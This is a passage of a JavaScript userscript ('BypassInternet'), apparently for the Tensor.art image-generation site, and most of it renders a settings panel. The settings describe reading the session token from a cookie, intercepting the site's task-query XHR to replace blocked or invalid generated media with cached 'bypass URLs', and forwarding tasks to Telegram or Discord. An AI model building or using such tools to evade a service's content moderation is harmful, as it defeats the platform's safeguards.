${feature.help ? `<div style="font-size: 11px; color: #94a3b8; margin-top: 8px; padding-top: 8px; border-top: 1px solid #475569;"><strong>Help:</strong> ${feature.help}</div>` : ''}
`;
featuresDiv.appendChild(featureCard);
}
aboutSection.appendChild(featuresDiv);
}
if (remoteConfig?.supported_platforms?.length > 0) {
const platformsDiv = document.createElement('div');
platformsDiv.style.cssText = 'padding: 20px 0; border-top: 1px solid #475569;';
platformsDiv.innerHTML = '<h3 style="font-size: 16px; margin: 0 0 12px 0; color: #6366f1;"><i class="fas fa-globe"></i> Supported Platforms</h3>';
for (const platform of remoteConfig.supported_platforms) {
const statusColor = platform.status === 'stable' ? '#10b981' : platform.status === 'experimental' ? '#f59e0b' : '#6366f1';
const compatibilityBar = platform.compatibility ? `
<div style="margin-top: 6px;">
<div style="background: #1e293b; height: 6px; border-radius: 3px; overflow: hidden;">
<div style="background: ${statusColor}; height: 100%; width: ${platform.compatibility}%;"></div>
</div>
<div style="font-size: 10px; color: #94a3b8; margin-top: 2px;">${platform.compatibility}% compatible</div>
</div>
` : '';
platformsDiv.innerHTML += `
<div style="margin-bottom: 10px; padding: 10px; background: rgba(99, 102, 241, 0.05); border-radius: 8px;">
<div style="font-weight: 600; font-size: 13px;">
${platform.name}
<span style="font-size: 10px; background: ${statusColor}; color: white; padding: 2px 6px; border-radius: 4px; margin-left: 8px;">${platform.status}</span>
</div>
${platform.notes ? `<div style="font-size: 11px; color: #cbd5e1; margin-top: 4px;">${platform.notes}</div>` : ''}
${compatibilityBar}
</div>
`;
}
aboutSection.appendChild(platformsDiv);
}
const footer = document.createElement('div');
footer.style.cssText = 'padding-top: 20px; border-top: 1px solid #475569; text-align: center; font-size: 11px; color: #94a3b8;';
footer.innerHTML = `
<div style="margin-bottom: 8px;">Made with care for a free and open internet</div>
${remoteConfig?.script?.repository ? `<a href="${remoteConfig.script.repository}" target="_blank" style="color: #6366f1; text-decoration: none;">Repository</a> • ` : ''}
${remoteConfig?.script?.support_url ? `<a href="${remoteConfig.script.support_url}" target="_blank" style="color: #6366f1; text-decoration: none;">Support</a>` : ''}
`;
aboutSection.appendChild(footer);
content.appendChild(aboutSection);
} else if (currentTab === 'developers') {
const devsContent = createDevelopersContent();
content.appendChild(devsContent);
} else if (currentTab === 'help') {
const helpContent = createHelpContent();
content.appendChild(helpContent);
}
if (renderToken !== uiRenderToken) return;
container.appendChild(content);
const restoreScrollTop = Number(tabScrollPositions[currentTab] || 0);
if (restoreScrollTop > 0) {
requestAnimationFrame(() => {
try {
content.scrollTop = restoreScrollTop;
} catch {
// ignore
}
});
}
if (currentTab === 'home') {
refreshSelectionUI();
}
// Add or reuse resize handle
let resizeHandle = container.querySelector('.bypass-resize-handle');
if (!resizeHandle) {
resizeHandle = document.createElement('div');
resizeHandle.className = 'bypass-resize-handle';
}
container.appendChild(resizeHandle);
if (!container.isConnected && document.body) {
document.body.appendChild(container);
}
applyIconFallback(container);
// Setup drag and resize once per floating shell.
if (containerWasCreated) {
setupDragAndResize(container, header);
}
}
function injectSettingsIntoPage(force = false) {
// Check if on settings page
const url = window.location.href;
if (!url.includes('/settings')) {
if (settingsInjected) {
settingsInjected = false;
}
return;
}
// Check for settings page heading
const heading = document.querySelector('h1.fw-600.text-32.lh-38.c-text-primary');
if (!heading || !heading.textContent.includes('Settings')) {
return;
}
// Avoid duplicate injection unless forced (used after saving settings)
const existingSection = document.getElementById('bypass-settings-section');
if (existingSection) {
if (!force) return;
existingSection.remove();
}
// Find the settings container
const settingsContainer = document.querySelector('div.px-16.md\\:w-666.md\\:mx-auto');
if (!settingsContainer) {
return;
}
// Create BypassInternet settings section (main container)
const section = document.createElement('section');
section.id = 'bypass-settings-section';
section.className = 'flex flex-col gap-16';
section.style.marginTop = '24px';
section.style.paddingTop = '24px';
section.style.borderTop = '1px solid #475569';
// Helper: create Tensor-styled buttons by reusing site classes when possible
const createTensorButton = (label, type = 'primary') => {
const btn = document.createElement('button');
btn.type = 'button';
btn.tabIndex = 0;
// Try to copy the site's current button classes to keep style consistent.
// Fallback to the sample classes provided by user.
const anySiteBtn = document.querySelector('button.n-button');
const baseClass = (anySiteBtn && anySiteBtn.className) || '__button-dark-njtao5-blmme n-button n-button--medium-type n-button--ghost';
const cleaned = baseClass
.split(/\s+/)
.filter(Boolean)
.filter(c => !/^n-button--(primary|success|warning|error|info)-type$/.test(c))
.join(' ');
btn.className = `${cleaned} n-button--${type}-type`;
btn.innerHTML = `
<span class="n-button__content">${label}</span>
<div aria-hidden="true" class="n-base-wave"></div>
<div aria-hidden="true" class="n-button__border"></div>
<div aria-hidden="true" class="n-button__state-border"></div>
`;
return btn;
};
// Title
const title = document.createElement('h2');
title.className = 'fw-600 text-20 lh-28 c-text-primary';
title.innerHTML = '<i class="fas fa-shield-alt"></i> BypassInternet Settings';
title.style.marginBottom = '16px';
section.appendChild(title);
// ============================================================================
// DISPLAY & APPEARANCE SECTION
// ============================================================================
const { section: displaySection, content: displayContent } = createCollapsibleSection('Display & Appearance', 'fa-palette', true);
section.appendChild(displaySection);
// Theme selector
const themeGroup = document.createElement('div');
themeGroup.className = 'flex flex-col gap-8';
const themeLabel = document.createElement('label');
themeLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
themeLabel.innerHTML = 'Theme';
const themeSelect = document.createElement('select');
themeSelect.id = 'bypass-settings-theme';
themeSelect.name = 'theme';
themeSelect.style.cssText = `
width: 100%;
padding: 8px 12px;
border: 1px solid #475569;
border-radius: 6px;
background: #1e293b;
color: #f1f5f9;
font-size: 14px;
cursor: pointer;
`;
themeSelect.onclick = (e) => e.stopPropagation();
['dark', 'light'].forEach(theme => {
const opt = document.createElement('option');
opt.value = theme;
opt.textContent = theme.charAt(0).toUpperCase() + theme.slice(1);
if (theme === settings.theme) opt.selected = true;
themeSelect.appendChild(opt);
});
themeSelect.onchange = () => {
settings.theme = themeSelect.value;
saveSettings();
updateUI();
};
themeGroup.appendChild(themeLabel);
themeGroup.appendChild(themeSelect);
displayContent.appendChild(themeGroup);
// User Token
const tokenGroup = document.createElement('div');
tokenGroup.className = 'flex flex-col gap-8';
const tokenLabel = document.createElement('label');
tokenLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
tokenLabel.innerHTML = '<i class="fas fa-key"></i> User Token';
const tokenInput = document.createElement('input');
tokenInput.id = 'bypass-settings-token';
tokenInput.name = 'token';
tokenInput.type = 'password';
tokenInput.placeholder = 'Auto-detected from cookie (editing disabled)';
tokenInput.value = userToken || '';
tokenInput.disabled = true;
tokenInput.style.cssText = `
width: 100%;
padding: 8px 12px;
border: 1px solid #475569;
border-radius: 6px;
background: #1e293b;
color: #f1f5f9;
font-size: 14px;
opacity: 0.7;
cursor: not-allowed;
`;
tokenInput.onclick = (e) => e.stopPropagation();
const tokenNote = document.createElement('div');
tokenNote.style.cssText = 'font-size: 12px; color: #cbd5e1; opacity: 0.85; margin-top: 6px; line-height: 1.4;';
tokenNote.innerHTML = 'Token is read from <code>ta_token_prod</code> cookie. Editing is disabled for safety.';
tokenGroup.appendChild(tokenLabel);
tokenGroup.appendChild(tokenInput);
tokenGroup.appendChild(tokenNote);
section.appendChild(tokenGroup);
const injectionHeader = document.createElement('div');
injectionHeader.style.cssText = 'font-weight: 600; font-size: 13px; margin-top: 16px; color: #cbd5e1;';
injectionHeader.textContent = 'Injection Method';
section.appendChild(injectionHeader);
const safeViewLabel = document.createElement('label');
safeViewLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const safeViewInput = document.createElement('input');
safeViewInput.type = 'checkbox';
safeViewInput.checked = settings.safeViewMode;
safeViewInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
safeViewInput.onchange = () => {
if (settings.xhrInterceptEnabled && safeViewInput.checked) {
safeViewInput.checked = false;
showToast('Disable XHR Intercept first to use Safe View.', 'warning');
return;
}
settings.safeViewMode = safeViewInput.checked;
if (settings.safeViewMode) {
settings.injectOnDom = false;
}
saveSettings();
if (settings.safeViewMode) {
startDomInjectionWatcher();
} else if (!settings.injectOnDom) {
stopDomInjectionWatcher();
}
injectSettingsIntoPage(true);
};
safeViewLabel.appendChild(safeViewInput);
safeViewLabel.appendChild(document.createTextNode('Safe View Blocked Media'));
section.appendChild(safeViewLabel);
const injectDomLabel = document.createElement('label');
injectDomLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const injectDomInput = document.createElement('input');
injectDomInput.type = 'checkbox';
injectDomInput.checked = settings.injectOnDom;
injectDomInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
injectDomInput.onchange = () => {
if (settings.xhrInterceptEnabled && injectDomInput.checked) {
injectDomInput.checked = false;
showToast('Disable XHR Intercept first to use Inject On DOM.', 'warning');
return;
}
settings.injectOnDom = injectDomInput.checked;
if (settings.injectOnDom) {
settings.safeViewMode = false;
}
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
if (settings.injectOnDom) {
startDomInjectionWatcher();
} else if (!settings.safeViewMode) {
stopDomInjectionWatcher();
}
injectSettingsIntoPage(true);
};
injectDomLabel.appendChild(injectDomInput);
injectDomLabel.appendChild(document.createTextNode('Inject On DOM'));
section.appendChild(injectDomLabel);
const injectBlockedOnlyLabel = document.createElement('label');
injectBlockedOnlyLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const injectBlockedOnlyInput = document.createElement('input');
injectBlockedOnlyInput.type = 'checkbox';
injectBlockedOnlyInput.checked = !!settings.injectBlockedOnly;
injectBlockedOnlyInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
injectBlockedOnlyInput.onchange = () => {
settings.injectBlockedOnly = injectBlockedOnlyInput.checked;
saveSettings();
injectBlockedMediaIntoDom();
injectSettingsIntoPage(true);
};
injectBlockedOnlyLabel.appendChild(injectBlockedOnlyInput);
injectBlockedOnlyLabel.appendChild(document.createTextNode('Inject On Blocked Only'));
section.appendChild(injectBlockedOnlyLabel);
const xhrInterceptHeader = document.createElement('div');
xhrInterceptHeader.style.cssText = 'font-weight: 600; font-size: 13px; margin-top: 16px; color: #cbd5e1;';
xhrInterceptHeader.textContent = 'XHR Intercept (Powerful)';
section.appendChild(xhrInterceptHeader);
const xhrInterceptNote = document.createElement('div');
xhrInterceptNote.style.cssText = `
margin: 8px 0 10px 0;
padding: 10px;
border-radius: 8px;
border: 1px solid rgba(245, 158, 11, 0.35);
background: rgba(245, 158, 11, 0.10);
color: #fcd34d;
font-size: 12px;
line-height: 1.45;
`;
xhrInterceptNote.innerHTML = '<i class="fas fa-bolt"></i> Intercepts <code>/works/v1/works/tasks/query</code>, forces request <code>size=10</code>, patches FINISH+invalid items with cached bypass URLs, and prefixes filename with <code>FREEInterent-</code>. Enabling this disables Inject On DOM and Safe View.';
section.appendChild(xhrInterceptNote);
const xhrInterceptLabel = document.createElement('label');
xhrInterceptLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const xhrInterceptInput = document.createElement('input');
xhrInterceptInput.type = 'checkbox';
xhrInterceptInput.checked = !!settings.xhrInterceptEnabled;
xhrInterceptInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
xhrInterceptInput.onchange = () => {
settings.xhrInterceptEnabled = xhrInterceptInput.checked;
enforceXhrInterceptModeState();
saveSettings();
tensorInterceptLog('info', `XHR Intercept mode ${settings.xhrInterceptEnabled ? 'enabled' : 'disabled'}`, { source: 'settings-page' });
injectBlockedMediaIntoDom();
injectSettingsIntoPage(true);
};
xhrInterceptLabel.appendChild(xhrInterceptInput);
xhrInterceptLabel.appendChild(document.createTextNode('Enable XHR Intercept Mode'));
section.appendChild(xhrInterceptLabel);
const xhrLogsLabel = document.createElement('label');
xhrLogsLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const xhrLogsInput = document.createElement('input');
xhrLogsInput.type = 'checkbox';
xhrLogsInput.checked = !!settings.tensorInterceptEnableUiLogs;
xhrLogsInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
xhrLogsInput.onchange = () => {
settings.tensorInterceptEnableUiLogs = xhrLogsInput.checked;
saveSettings();
tensorInterceptLog('info', `Tensor intercept logs ${settings.tensorInterceptEnableUiLogs ? 'enabled' : 'disabled'}`, { source: 'settings-page' });
injectSettingsIntoPage(true);
};
xhrLogsLabel.appendChild(xhrLogsInput);
xhrLogsLabel.appendChild(document.createTextNode('Enable Tensor Intercept Logs'));
section.appendChild(xhrLogsLabel);
const xhrTelegramInjectLabel = document.createElement('label');
xhrTelegramInjectLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const xhrTelegramInjectInput = document.createElement('input');
xhrTelegramInjectInput.type = 'checkbox';
xhrTelegramInjectInput.checked = !!settings.tensorInjectTelegramButtons;
xhrTelegramInjectInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
xhrTelegramInjectInput.onchange = () => {
settings.tensorInjectTelegramButtons = xhrTelegramInjectInput.checked;
saveSettings();
tensorInterceptLog('info', `Tensor Telegram quick injection ${settings.tensorInjectTelegramButtons ? 'enabled' : 'disabled'}`, { source: 'settings-page' });
injectBlockedMediaIntoDom();
injectSettingsIntoPage(true);
};
xhrTelegramInjectLabel.appendChild(xhrTelegramInjectInput);
xhrTelegramInjectLabel.appendChild(document.createTextNode('Implemet telegram injection'));
section.appendChild(xhrTelegramInjectLabel);
const xhrDiscordInjectLabel = document.createElement('label');
xhrDiscordInjectLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 12px 0;
`;
const xhrDiscordInjectInput = document.createElement('input');
xhrDiscordInjectInput.type = 'checkbox';
xhrDiscordInjectInput.checked = !!settings.tensorInjectDiscordButtons;
xhrDiscordInjectInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
xhrDiscordInjectInput.onchange = () => {
settings.tensorInjectDiscordButtons = xhrDiscordInjectInput.checked;
saveSettings();
tensorInterceptLog('info', `Tensor Discord quick injection ${settings.tensorInjectDiscordButtons ? 'enabled' : 'disabled'}`, { source: 'settings-page' });
injectBlockedMediaIntoDom();
injectSettingsIntoPage(true);
};
xhrDiscordInjectLabel.appendChild(xhrDiscordInjectInput);
xhrDiscordInjectLabel.appendChild(document.createTextNode('Implemnt discord inejction'));
section.appendChild(xhrDiscordInjectLabel);
const xhrSmoothNote = document.createElement('div');
xhrSmoothNote.style.cssText = `
margin: 8px 0 12px 0;
padding: 10px;
border-radius: 8px;
border: 1px solid rgba(99, 102, 241, 0.28);
background: rgba(99, 102, 241, 0.10);
color: #cbd5e1;
font-size: 12px;
line-height: 1.45;
`;
xhrSmoothNote.innerHTML = '<i class="fas fa-sparkles"></i> this feature is very powerfull and smoOth';
section.appendChild(xhrSmoothNote);
const xhrLogsMaxWrap = document.createElement('div');
xhrLogsMaxWrap.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:12px; margin: 10px 0 14px 0;';
const xhrLogsMaxText = document.createElement('div');
xhrLogsMaxText.style.cssText = 'font-size: 13px; color: #cbd5e1;';
xhrLogsMaxText.textContent = 'Max Tensor Intercept Log Entries';
const xhrLogsMaxInput = document.createElement('input');
xhrLogsMaxInput.type = 'number';
xhrLogsMaxInput.min = '50';
xhrLogsMaxInput.max = '5000';
xhrLogsMaxInput.step = '50';
xhrLogsMaxInput.value = String(Math.max(50, Number(settings.tensorInterceptMaxLogs) || 600));
xhrLogsMaxInput.style.cssText = `
width: 120px;
padding: 8px 12px;
border: 1px solid #475569;
border-radius: 6px;
background: #1e293b;
color: #f1f5f9;
font-size: 14px;
`;
xhrLogsMaxInput.onchange = () => {
settings.tensorInterceptMaxLogs = Math.max(50, Math.min(5000, Number(xhrLogsMaxInput.value) || 600));
saveSettings();
tensorInterceptLog('info', 'Updated Tensor intercept log limit', { source: 'settings-page', max: settings.tensorInterceptMaxLogs });
};
xhrLogsMaxWrap.appendChild(xhrLogsMaxText);
xhrLogsMaxWrap.appendChild(xhrLogsMaxInput);
section.appendChild(xhrLogsMaxWrap);
const autoShowLabel = document.createElement('label');
autoShowLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const autoShowInput = document.createElement('input');
autoShowInput.type = 'checkbox';
autoShowInput.checked = settings.autoShowPanel;
autoShowInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
autoShowInput.onchange = () => {
settings.autoShowPanel = autoShowInput.checked;
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
};
autoShowLabel.appendChild(autoShowInput);
autoShowLabel.appendChild(document.createTextNode('Auto-show Panel on Detect'));
section.appendChild(autoShowLabel);
const previewLabel = document.createElement('label');
previewLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const previewInput = document.createElement('input');
previewInput.type = 'checkbox';
previewInput.checked = settings.preview;
previewInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
previewInput.onchange = () => {
settings.preview = previewInput.checked;
saveSettings();
updateUI();
};
previewLabel.appendChild(previewInput);
previewLabel.appendChild(document.createTextNode('Preview Media'));
section.appendChild(previewLabel);
const autoDownloadLabel = document.createElement('label');
autoDownloadLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const autoDownloadInput = document.createElement('input');
autoDownloadInput.type = 'checkbox';
autoDownloadInput.checked = settings.autoDownload;
autoDownloadInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
autoDownloadInput.onchange = () => {
settings.autoDownload = autoDownloadInput.checked;
saveSettings();
};
autoDownloadLabel.appendChild(autoDownloadInput);
autoDownloadLabel.appendChild(document.createTextNode('Auto-download on Detect'));
section.appendChild(autoDownloadLabel);
const inheritLabel = document.createElement('label');
inheritLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const inheritInput = document.createElement('input');
inheritInput.type = 'checkbox';
inheritInput.checked = settings.inheritTheme;
inheritInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
inheritInput.onchange = () => {
settings.inheritTheme = inheritInput.checked;
saveSettings();
injectStyles();
updateUI();
};
inheritLabel.appendChild(inheritInput);
inheritLabel.appendChild(document.createTextNode('Inherit Page Theme'));
section.appendChild(inheritLabel);
const videoModalLabel = document.createElement('label');
videoModalLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const videoModalInput = document.createElement('input');
videoModalInput.type = 'checkbox';
videoModalInput.checked = settings.showVideoModal;
videoModalInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
videoModalInput.onchange = () => {
settings.showVideoModal = videoModalInput.checked;
saveSettings();
};
videoModalLabel.appendChild(videoModalInput);
videoModalLabel.appendChild(document.createTextNode('Enable Video Modal'));
section.appendChild(videoModalLabel);
const tooltipLabel = document.createElement('label');
tooltipLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const tooltipInput = document.createElement('input');
tooltipInput.type = 'checkbox';
tooltipInput.checked = settings.showBlockedTooltip;
tooltipInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
tooltipInput.onchange = () => {
settings.showBlockedTooltip = tooltipInput.checked;
saveSettings();
injectSettingsIntoPage(true);
injectBlockedMediaIntoDom();
updateUI();
};
tooltipLabel.appendChild(tooltipInput);
tooltipLabel.appendChild(document.createTextNode('Show Blocked Media Tooltip (Injected Only)'));
section.appendChild(tooltipLabel);
if (settings.showBlockedTooltip) {
const keepTooltipLabel = document.createElement('label');
keepTooltipLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const keepTooltipInput = document.createElement('input');
keepTooltipInput.type = 'checkbox';
keepTooltipInput.checked = settings.keepBlockedTooltipOpen;
keepTooltipInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
keepTooltipInput.onchange = () => {
settings.keepBlockedTooltipOpen = keepTooltipInput.checked;
saveSettings();
};
keepTooltipLabel.appendChild(keepTooltipInput);
keepTooltipLabel.appendChild(document.createTextNode('Keep last tooltip open'));
section.appendChild(keepTooltipLabel);
}
const injectedHelpLabel = document.createElement('label');
injectedHelpLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const injectedHelpInput = document.createElement('input');
injectedHelpInput.type = 'checkbox';
injectedHelpInput.checked = settings.showInjectedHelpTooltips;
injectedHelpInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
injectedHelpInput.onchange = () => {
settings.showInjectedHelpTooltips = injectedHelpInput.checked;
saveSettings();
injectBlockedMediaIntoDom();
};
injectedHelpLabel.appendChild(injectedHelpInput);
injectedHelpLabel.appendChild(document.createTextNode('Injected buttons help tooltips'));
section.appendChild(injectedHelpLabel);
const downloadPreviewLabel = document.createElement('label');
downloadPreviewLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const downloadPreviewInput = document.createElement('input');
downloadPreviewInput.type = 'checkbox';
downloadPreviewInput.checked = settings.showDownloadPreview;
downloadPreviewInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
downloadPreviewInput.onchange = () => {
settings.showDownloadPreview = downloadPreviewInput.checked;
saveSettings();
updateGlobalActionProgressFromQueue();
updateUI();
};
downloadPreviewLabel.appendChild(downloadPreviewInput);
downloadPreviewLabel.appendChild(document.createTextNode('Preview current download'));
section.appendChild(downloadPreviewLabel);
const tasksHeader = document.createElement('div');
tasksHeader.style.cssText = 'font-weight: 600; font-size: 13px; margin-top: 16px; color: #cbd5e1;';
tasksHeader.textContent = 'Task Actions';
section.appendChild(tasksHeader);
if (settings.telegramEnabled) {
const sendAllTg = document.createElement('label');
sendAllTg.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
const sendAllTgInput = document.createElement('input');
sendAllTgInput.type = 'checkbox';
sendAllTgInput.checked = settings.sendAllTasksTelegram;
sendAllTgInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
sendAllTgInput.onchange = () => {
settings.sendAllTasksTelegram = sendAllTgInput.checked;
saveSettings();
injectBlockedMediaIntoDom();
};
sendAllTg.appendChild(sendAllTgInput);
sendAllTg.appendChild(document.createTextNode('Telegram: Send all tasks'));
section.appendChild(sendAllTg);
}
if (settings.discordEnabled) {
const sendAllDiscord = document.createElement('label');
sendAllDiscord.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
const sendAllDiscordInput = document.createElement('input');
sendAllDiscordInput.type = 'checkbox';
sendAllDiscordInput.checked = settings.sendAllTasksDiscord;
sendAllDiscordInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
sendAllDiscordInput.onchange = () => {
settings.sendAllTasksDiscord = sendAllDiscordInput.checked;
saveSettings();
injectBlockedMediaIntoDom();
};
sendAllDiscord.appendChild(sendAllDiscordInput);
sendAllDiscord.appendChild(document.createTextNode('Discord: Send all tasks'));
section.appendChild(sendAllDiscord);
}
const sendAllDownload = document.createElement('label');
sendAllDownload.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
const sendAllDownloadInput = document.createElement('input');
sendAllDownloadInput.type = 'checkbox';
sendAllDownloadInput.checked = settings.sendAllTasksDownload;
sendAllDownloadInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
sendAllDownloadInput.onchange = () => {
settings.sendAllTasksDownload = sendAllDownloadInput.checked;
saveSettings();
injectBlockedMediaIntoDom();
};
sendAllDownload.appendChild(sendAllDownloadInput);
sendAllDownload.appendChild(document.createTextNode('Download: All tasks'));
section.appendChild(sendAllDownload);
const preventDupLabel = document.createElement('label');
preventDupLabel.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
const preventDupInput = document.createElement('input');
preventDupInput.type = 'checkbox';
preventDupInput.checked = settings.preventDuplicateTasks;
preventDupInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
preventDupInput.onchange = () => {
settings.preventDuplicateTasks = preventDupInput.checked;
saveSettings();
};
preventDupLabel.appendChild(preventDupInput);
preventDupLabel.appendChild(document.createTextNode('Prevent duplicate actions'));
section.appendChild(preventDupLabel);
const showBypassLinkLabel = document.createElement('label');
showBypassLinkLabel.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
const showBypassLinkInput = document.createElement('input');
showBypassLinkInput.type = 'checkbox';
showBypassLinkInput.checked = settings.showBypassedLink;
showBypassLinkInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
showBypassLinkInput.onchange = () => {
settings.showBypassedLink = showBypassLinkInput.checked;
saveSettings();
injectBlockedMediaIntoDom();
updateUI();
};
showBypassLinkLabel.appendChild(showBypassLinkInput);
showBypassLinkLabel.appendChild(document.createTextNode('Show bypassed link'));
section.appendChild(showBypassLinkLabel);
const copyFeatureLabel = document.createElement('label');
copyFeatureLabel.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
const copyFeatureInput = document.createElement('input');
copyFeatureInput.type = 'checkbox';
copyFeatureInput.checked = settings.enableCopyBypassedLinks;
copyFeatureInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
copyFeatureInput.onchange = () => {
settings.enableCopyBypassedLinks = copyFeatureInput.checked;
saveSettings();
injectSettingsIntoPage(true);
injectBlockedMediaIntoDom();
updateUI();
};
copyFeatureLabel.appendChild(copyFeatureInput);
copyFeatureLabel.appendChild(document.createTextNode('Enable copy bypassed links'));
section.appendChild(copyFeatureLabel);
if (settings.enableCopyBypassedLinks) {
const copyInjectLabel = document.createElement('label');
copyInjectLabel.style.cssText = 'display: flex; align-items: center; gap: 12px; cursor: pointer; font-size: 14px; margin: 10px 0;';
const copyInjectInput = document.createElement('input');
copyInjectInput.type = 'checkbox';
copyInjectInput.checked = settings.copyInjectOnPage;
copyInjectInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
copyInjectInput.onchange = () => {
settings.copyInjectOnPage = copyInjectInput.checked;
saveSettings();
injectBlockedMediaIntoDom();
};
copyInjectLabel.appendChild(copyInjectInput);
copyInjectLabel.appendChild(document.createTextNode('Inject copy button on page'));
section.appendChild(copyInjectLabel);
}
if (settings.showBlockedTooltip) {
const tooltipPreviewLabel = document.createElement('label');
tooltipPreviewLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const tooltipPreviewInput = document.createElement('input');
tooltipPreviewInput.type = 'checkbox';
tooltipPreviewInput.checked = settings.showBlockedTooltipPreview;
tooltipPreviewInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
tooltipPreviewInput.onchange = () => {
settings.showBlockedTooltipPreview = tooltipPreviewInput.checked;
saveSettings();
injectBlockedMediaIntoDom();
updateUI();
};
tooltipPreviewLabel.appendChild(tooltipPreviewInput);
tooltipPreviewLabel.appendChild(document.createTextNode('View media on tooltip'));
section.appendChild(tooltipPreviewLabel);
}
// Auto-check toggle
const autoCheckLabel = document.createElement('label');
autoCheckLabel.style.cssText = `
display: flex;
align-items: center;
gap: 12px;
cursor: pointer;
font-size: 14px;
margin: 16px 0;
`;
const autoCheckInput = document.createElement('input');
autoCheckInput.type = 'checkbox';
autoCheckInput.checked = settings.autoCheck;
autoCheckInput.style.cssText = 'cursor: pointer; width: 18px; height: 18px;';
autoCheckInput.onchange = () => {
settings.autoCheck = autoCheckInput.checked;
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
if (settings.autoCheck) {
startAutoCheck();
} else {
stopAutoCheck();
}
};
autoCheckLabel.appendChild(autoCheckInput);
autoCheckLabel.appendChild(document.createTextNode('Auto-check for Items'));
section.appendChild(autoCheckLabel);
// Check Interval (conditional)
if (settings.autoCheck) {
const intervalGroup = document.createElement('div');
intervalGroup.className = 'flex flex-col gap-8';
const intervalLabel = document.createElement('label');
intervalLabel.style.cssText = 'display: block; font-weight: 600; font-size: 14px; margin-bottom: 8px;';
intervalLabel.innerHTML = '<i class="fas fa-clock"></i> Check Interval (seconds)';
const intervalInput = document.createElement('input');
intervalInput.type = 'number';
intervalInput.id = 'bypass-settings-interval';
intervalInput.name = 'checkInterval';
intervalInput.min = '5';
intervalInput.max = '300';
intervalInput.step = '5';
intervalInput.value = settings.autoCheckInterval;
intervalInput.style.cssText = `
width: 100%;
padding: 8px 12px;
border: 1px solid #475569;
border-radius: 6px;
background: #1e293b;
color: #f1f5f9;
font-size: 14px;
`;
intervalInput.onclick = (e) => e.stopPropagation();
intervalInput.onchange = () => {
settings.autoCheckInterval = Math.max(5, parseInt(intervalInput.value) || 30);
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
startAutoCheck();
};
intervalGroup.appendChild(intervalLabel);
intervalGroup.appendChild(intervalInput);
section.appendChild(intervalGroup);
}
// Caching toggle
const cachingLabel = document.createElement('label');
